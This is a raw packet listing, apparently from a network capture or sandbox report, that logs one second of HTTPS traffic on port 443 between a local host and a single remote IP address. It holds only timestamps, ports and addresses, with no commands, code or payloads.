Oct 2, 2024 06:10:16.732392073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732408047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732788086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732804060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732844114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732847929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732863903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732873917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732888937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732892990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732907057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732918024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732956886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.818939924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.818957090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.819046974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.819052935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.820358038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.820377111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.820447922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.820451975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.820496082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.822088957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822103977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822168112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822180986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.822191000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822206974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.822237015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.822602034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822614908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.822670937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.822676897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823240995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823259115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823309898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.823313951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823476076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823488951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823533058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.823538065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823950052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.823968887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.824007034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.824012041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.824034929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.867367983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.911531925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.911550999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.911643028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.911649942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.911802053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.911947966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.911977053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912015915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912020922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912048101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912072897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912491083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912507057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912554979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912559986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912584066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912597895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912822962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912837982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.912888050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.912894011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913161993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913181067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913223982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.913229942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913240910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.913271904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.913857937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913875103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.913930893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.913934946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914040089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914326906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914365053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914408922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914412975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914422989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914503098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914742947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914757013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914793968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914800882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.914829969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.914839029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.002281904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002299070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002388954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.002396107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002495050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.002650976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002667904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002727985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.002733946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.002921104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.003213882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003232002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003283978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.003289938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003851891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003875971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003910065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.003916025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.003938913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.003963947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.004162073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004179001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004237890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.004244089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004477978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.004524946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004542112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004585981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.004590034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004656076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.004952908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.004968882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.005022049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.005028963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.005239010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.005410910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.005426884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.005486965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.005491972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.005557060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.093053102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093071938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093153000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.093166113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093331099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.093398094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093415022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093462944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.093470097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093581915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.093861103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.093878031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094012022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.094017982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094088078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.094738007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094753027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094921112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094933033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.094940901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.094995975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.095017910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.095244884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095258951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095313072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.095318079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095673084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095690966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095724106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.095727921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.095746040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.096055031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.096069098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.096132994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.096138954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.148610115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.183831930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.183856964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.183916092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.183939934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.183952093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.183981895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184350014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184366941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184397936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184401989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184437037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184458971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184613943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184632063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184663057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184668064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.184695005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.184712887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185436964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185468912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185486078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185488939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185517073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185533047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185756922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185775042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185808897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185815096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.185837984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.185857058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.186501980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.186564922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.186572075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.186621904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.186800957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.186815023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.186849117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.186852932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.186870098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.186887980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.187088013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.187103033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.187139034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.187143087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.187180996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.188251972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.188251972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.276870012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.276896954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.276941061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.276949883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.276968002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.276989937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277199030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277216911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277254105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277257919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277281046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277282953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277297974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277302980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277317047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277331114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277368069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277667999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277683973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277729988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277734995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277822971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277842045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277877092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277883053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.277906895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.277934074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.278031111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278045893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278089046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.278100967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278110981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.278433084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278451920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278482914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.278486967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.278506041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.278544903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.279508114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.288853884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.288868904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.288940907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.288949013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.289719105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.365680933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.365700006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.365740061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.365746021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.365772963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.365787983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.365968943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.365986109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.366020918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.366025925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.366049051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.366067886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.366295099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.366309881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.366348028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.366352081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.366378069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.366391897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.367970943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368009090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368036032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368040085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368072987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368083954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368196964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368211031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368247032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368253946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368283987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368299007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368467093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368482113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368525982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368530035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368551016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368587971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368592024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368592978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368592978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368603945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.368628979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.368659019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.379663944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.379690886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.379729986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.379734993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.379765987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.379786968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.456322908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456346035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456412077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.456423998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456460953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.456690073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456707001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456763983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.456768036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.456819057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.456993103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.457010031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.457073927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.457079887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.457448006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.458600998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.458617926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.458681107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.458686113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.458817005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.458997011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459009886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459053993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459070921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.459075928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459119081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.459146023 CEST	49744	443	192.168.2.4	167.114.14.168
